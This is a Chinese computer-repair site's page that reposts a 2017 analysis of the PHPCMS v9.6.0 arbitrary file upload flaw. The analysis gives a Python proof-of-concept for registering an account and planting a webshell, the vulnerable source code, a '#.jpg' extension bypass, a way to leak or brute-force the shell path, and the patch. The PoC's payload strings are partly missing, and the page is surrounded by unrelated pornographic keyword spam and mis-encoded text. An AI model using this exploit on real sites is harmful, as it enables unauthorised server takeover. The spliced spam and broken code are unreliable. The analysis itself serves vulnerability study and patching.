欧美三级电影一区二区三区_欧美成人a视频_欧美另类一区_国产福利视频在线

錦州市廣廈電腦維修|上門(mén)維修電腦|上門(mén)做系統(tǒng)|0416-3905144熱誠(chéng)服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁(yè)
topFlag3 收藏本站
 
maojin003 首 頁(yè) 公司介紹 服務(wù)項(xiàng)目 服務(wù)報(bào)價(jià) 維修流程 IT外包服務(wù) 服務(wù)器維護(hù) 技術(shù)文章 常見(jiàn)故障
錦州市廣廈電腦維修|上門(mén)維修電腦|上門(mén)做系統(tǒng)|0416-3905144熱誠(chéng)服務(wù)技術(shù)文章
關(guān)于PHPCMS v9.6.0文件上傳漏洞分析

作者: 佚名  日期:2017-04-23 08:32:37   來(lái)源: 本站整理

 0x00 漏洞概述漏洞簡(jiǎn)介

前幾天 phpcms v9.6 的任意文件上傳的漏洞引起了安全圈熱議,通過(guò)該漏洞攻擊者可以在未授權(quán)的情況下任意文件上傳,影響不容小覷。phpcms官方今天發(fā)布了9.6.1版本,對(duì)漏洞進(jìn)行了補(bǔ)丁修復(fù).

漏洞影響

任意文件上傳

0x01 漏洞復(fù)現(xiàn)

本文從 PoC 的角度出發(fā),逆向的還原漏洞過(guò)程,若有哪些錯(cuò)誤的地方,還望大家多多指教。

首先我們看簡(jiǎn)化的 PoC :

import re import requestsdef poc(url): u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url) data = { 'siteid': '1', 'modelid': '1', 'username': 'test', 'password': 'testxx', 'email': '[email protected]', 'info[content]': '

', 'dosubmit': '1', } rep = requests.post(u, data=data) shell = '' re_result = re.findall(r'

', rep.content) if len(re_result): shell = re_result[0] print shell

可以看到 PoC 是發(fā)起注冊(cè)請(qǐng)求,對(duì)應(yīng)的是 phpcms/modules/member/index.php 中的 register 函數(shù),所以我們?cè)谀抢锵聰帱c(diǎn),接著使用 PoC 并開(kāi)啟動(dòng)態(tài)調(diào)試,在獲取一些信息之后,函數(shù)走到了如下位置:

\

通過(guò) PoC 不難看出我們的 payload 在 $_POST['info'] 里,而這里對(duì) $_POST['info'] 進(jìn)行了處理,所以我們有必要跟進(jìn)。

在使用 new_html_special_chars 對(duì) <> 進(jìn)行編碼之后,進(jìn)入 $member_input->get 函數(shù),該函數(shù)位于 caches/caches_model/caches_data/member_input.class.php 中,接下來(lái)函數(shù)走到如下位置:

\

由于我們的 payload 是 info[content] ,所以調(diào)用的是 editor 函數(shù),同樣在這個(gè)文件中:

\

接下來(lái)函數(shù)執(zhí)行 $this->attachment->download 函數(shù)進(jìn)行下載,我們繼續(xù)跟進(jìn),在 phpcms/libs/classes/attachment.class.php 中:

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename); $newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value);}

函數(shù)中先對(duì) $value 中的引號(hào)進(jìn)行了轉(zhuǎn)義,然后使用正則匹配:

$ext = 'gif|jpg|jpeg|bmp|png';...$string = new_stripslashes($value);if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;

這里正則要求輸入滿(mǎn)足 src/href=url.(gif|jpg|jpeg|bmp|png) ,我們的 payload (

)符合這一格式(這也就是為什么后面要加 .jpg 的原因)。

接下來(lái)程序使用這行代碼來(lái)去除 url 中的錨點(diǎn): $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); ,處理過(guò)后 $remotefileurls 的內(nèi)容如下:

{C}

\

可以看到 #.jpg 被刪除了,正因如此,下面的 $filename = fileext($file); 取的的后綴變成了 php ,這也就是 PoC 中為什么要加 # 的原因: 把前面為了滿(mǎn)足正則而構(gòu)造的 .jpg 過(guò)濾掉,使程序獲得我們真正想要的 php 文件后綴。

我們繼續(xù)執(zhí)行:

\

程序調(diào)用 copy 函數(shù),對(duì)遠(yuǎn)程的文件進(jìn)行了下載,此時(shí)我們從命令行中可以看到文件已經(jīng)寫(xiě)入了:

\

shell 已經(jīng)寫(xiě)入,下面我們就來(lái)看看如何獲取 shell 的路徑,程序在下載之后回到了 register 函數(shù)中:

\

可以看到當(dāng) $status > 0 時(shí)會(huì)執(zhí)行 SQL 語(yǔ)句進(jìn)行 INSERT 操作,具體執(zhí)行的語(yǔ)句如下:

\

也就是向 v9_member_detail 的 content 和 userid 兩列插入數(shù)據(jù),我們看一下該表的結(jié)構(gòu):

\

因?yàn)楸碇胁](méi)有 content 列,所以產(chǎn)生報(bào)錯(cuò),從而將插入數(shù)據(jù)中的 shell 路徑返回給了我們:

\

上面我們說(shuō)過(guò)返回路徑是在 $status > 0 時(shí)才可以,下面我們來(lái)看看什么時(shí)候 $status <= 0,在 phpcms/modules/member/classes/client.class.php 中:

\

幾個(gè)小于0的狀態(tài)碼都是因?yàn)橛脩?hù)名和郵箱,所以在 payload 中用戶(hù)名和郵箱要盡量隨機(jī)。

另外在 phpsso 沒(méi)有配置好的時(shí)候 $status 的值為空,也同樣不能得到路徑。

在無(wú)法得到路徑的情況下我們只能爆破了,爆破可以根據(jù)文件名生成的方法來(lái)爆破:

\

僅僅是時(shí)間加上三位隨機(jī)數(shù),爆破起來(lái)還是相對(duì)容易些的。

0x02 補(bǔ)丁分析

phpcms 今天發(fā)布了9.6.1版本,針對(duì)該漏洞的具體補(bǔ)丁如下:

\

在獲取文件擴(kuò)展名后再對(duì)擴(kuò)展名進(jìn)行檢測(cè)

0x03 參考 https://www.seebug.org/vuldb/ssvid-92930 [漏洞預(yù)警]PHPCMSv9前臺(tái)GetShell (2017/04/09)



熱門(mén)文章
  • 機(jī)械革命S1 PRO-02 開(kāi)機(jī)不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點(diǎn)不...
  • 三星一體激光打印機(jī)SCX-4521F維修...
  • 通過(guò)串口命令查看EMMC擦寫(xiě)次數(shù)和判...
  • IIS 8 開(kāi)啟 GZIP壓縮來(lái)減少網(wǎng)絡(luò)請(qǐng)求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對(duì)講門(mén)禁讀卡異常維修,讀卡芯...
  • 新款海信電視機(jī)始終停留在開(kāi)機(jī)界面...
  • 常見(jiàn)打印機(jī)清零步驟
  • 安裝驅(qū)動(dòng)時(shí)提示不包含數(shù)字簽名的解...
  • 共享打印機(jī)需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機(jī)的...
  • 錦州廣廈電腦上門(mén)維修

    報(bào)修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:[email protected]
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號(hào):遼ICP備2023002984號(hào)-1
    上門(mén)服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護(hù),上門(mén)維修電腦,黑屏藍(lán)屏死機(jī)故障排除,無(wú)線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤(pán)刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    欧美三级电影一区二区三区_欧美成人a视频_欧美另类一区_国产福利视频在线
    欧美激情一区二区三区全黄| 日本一区二区三级电影在线观看 | 制服丝袜激情欧洲亚洲| 中文字幕欧美三区| 粉嫩久久99精品久久久久久夜| 久久新电视剧免费观看| 久久99国产乱子伦精品免费| 91精品中文字幕一区二区三区| 夜夜嗨av一区二区三区网页| 色就色 综合激情| 亚洲制服丝袜av| 欧美日韩美女一区二区| 亚洲国产wwwccc36天堂| 欧美人动与zoxxxx乱| 五月婷婷久久综合| 日韩一区二区三| 国产黄色成人av| 国产精品福利一区| 91传媒视频在线播放| 婷婷六月综合亚洲| 337p日本欧洲亚洲大胆色噜噜| 极品少妇xxxx精品少妇偷拍 | 97精品国产露脸对白| 亚洲精选免费视频| 日韩精品最新网址| 风流少妇一区二区| 一区二区三区国产精品| 91精品国产免费久久综合| 极品尤物av久久免费看| 亚洲人123区| 91精品国产综合久久久久久漫画| 韩国av一区二区三区四区| **网站欧美大片在线观看| 精品视频999| 成人网页在线观看| 婷婷久久综合九色综合伊人色| 亚洲精品一区二区三区福利| av中文字幕不卡| 日日夜夜免费精品| 中文字幕欧美区| 日韩欧美国产精品| 日本高清无吗v一区| 国产专区欧美精品| 亚洲电影第三页| 国产三级欧美三级日产三级99| 色噜噜偷拍精品综合在线| 国内精品久久久久影院一蜜桃| 一色桃子久久精品亚洲| 日韩午夜电影在线观看| 成人国产精品免费网站| 免费高清在线视频一区·| 亚洲同性同志一二三专区| 日韩欧美亚洲一区二区| 在线精品观看国产| 北条麻妃国产九九精品视频| 国产在线一区二区| 日本亚洲免费观看| 午夜视频在线观看一区| 亚洲视频香蕉人妖| 欧美国产欧美综合| 精品乱人伦一区二区三区| 欧美喷水一区二区| 欧美性猛交xxxxxx富婆| 丁香激情综合五月| 国产精品一色哟哟哟| 麻豆国产精品官网| 日韩综合小视频| 香港成人在线视频| 天堂va蜜桃一区二区三区| 亚洲一区二区四区蜜桃| 亚洲精品国产精华液| 亚洲三级电影全部在线观看高清| 国产精品午夜电影| 亚洲国产成人在线| 国产精品国产a级| 亚洲国产成人午夜在线一区| 欧美国产综合色视频| 久久久久久久久99精品| 久久夜色精品一区| 久久婷婷国产综合国色天香| 久久影音资源网| 久久久国产精品午夜一区ai换脸| 久久免费国产精品| 国产视频一区二区三区在线观看| 久久精品人人爽人人爽| 欧美韩日一区二区三区四区| 国产欧美精品区一区二区三区| 中文字幕免费不卡在线| 国产精品理论在线观看| 伊人性伊人情综合网| 专区另类欧美日韩| 亚洲va欧美va天堂v国产综合| 一区二区三区视频在线看| 亚洲高清三级视频| 亚洲一区二区三区爽爽爽爽爽| 亚洲主播在线播放| 激情综合一区二区三区| 成人在线综合网站| 欧美午夜理伦三级在线观看| 日韩欧美一区二区视频| 国产欧美一二三区| 一区二区三区四区高清精品免费观看| 亚洲第一综合色| 国产一区在线观看麻豆| 91免费精品国自产拍在线不卡| 在线不卡一区二区| 中文字幕第一区第二区| 一级特黄大欧美久久久| 免费黄网站欧美| 91亚洲精华国产精华精华液| 欧美精品第1页| 日本一区二区三区四区在线视频| 亚洲乱码国产乱码精品精可以看| 天天综合网天天综合色| 国产盗摄女厕一区二区三区| 欧美日韩和欧美的一区二区| 国产日产欧产精品推荐色| 视频一区视频二区中文字幕| 成人av高清在线| 欧美xxxxxxxx| 亚洲成人综合网站| 99精品热视频| 久久色在线视频| 日韩国产高清在线| 99精品视频在线播放观看| 26uuu亚洲综合色欧美| 日日摸夜夜添夜夜添国产精品| 97久久精品人人爽人人爽蜜臀| 精品国产一区二区三区不卡| 亚洲一区二区精品久久av| 9l国产精品久久久久麻豆| 精品美女在线观看| 麻豆精品一区二区三区| 精品视频一区三区九区| 亚洲视频在线观看一区| 国产91丝袜在线播放| 欧美哺乳videos| 日本欧美久久久久免费播放网| 91成人免费网站| 亚洲欧美日韩国产中文在线| 国产精品一品视频| 亚洲精品一区二区三区四区高清| 天堂va蜜桃一区二区三区漫画版| 欧美中文一区二区三区| 亚洲精选视频免费看| 91麻豆精东视频| 亚洲激情一二三区| 91蝌蚪porny九色| 亚洲三级在线播放| 91视频国产观看| 亚洲九九爱视频| 欧美体内she精视频| 亚洲一区二区三区四区五区黄| 色哟哟精品一区| 亚洲午夜电影网| 欧美亚洲综合在线| 丝袜a∨在线一区二区三区不卡| 欧美另类z0zxhd电影| 日韩电影在线观看一区| 日韩美女天天操| 国产成人综合亚洲网站| 欧美国产综合色视频| av在线不卡网| 亚洲成a人在线观看| 日韩女优毛片在线| 国产宾馆实践打屁股91| 亚洲欧洲av在线| 欧美日精品一区视频| 激情综合亚洲精品| 欧美国产日韩a欧美在线观看| 成人avav影音| 午夜激情一区二区三区| 日韩欧美一级特黄在线播放| 国产福利一区二区三区在线视频| 国产精品免费视频一区| 色999日韩国产欧美一区二区| 五月天亚洲精品| 国产校园另类小说区| 色婷婷综合五月| 精品制服美女丁香| 最新国产の精品合集bt伙计| 欧美日韩一级片网站| 国产一区二区三区蝌蚪| 亚洲欧美激情在线| 欧美一区二区成人| 99国产精品久久久| 极品少妇xxxx偷拍精品少妇| 亚洲欧洲精品一区二区精品久久久| 精品1区2区3区| 国产91色综合久久免费分享| 天天av天天翘天天综合网 | 99v久久综合狠狠综合久久| 亚洲18色成人| 国产欧美精品一区| 4438x成人网最大色成网站| 成人久久18免费网站麻豆 | 在线免费不卡视频| 国产在线一区观看| 天堂久久一区二区三区| 亚洲人成人一区二区在线观看 |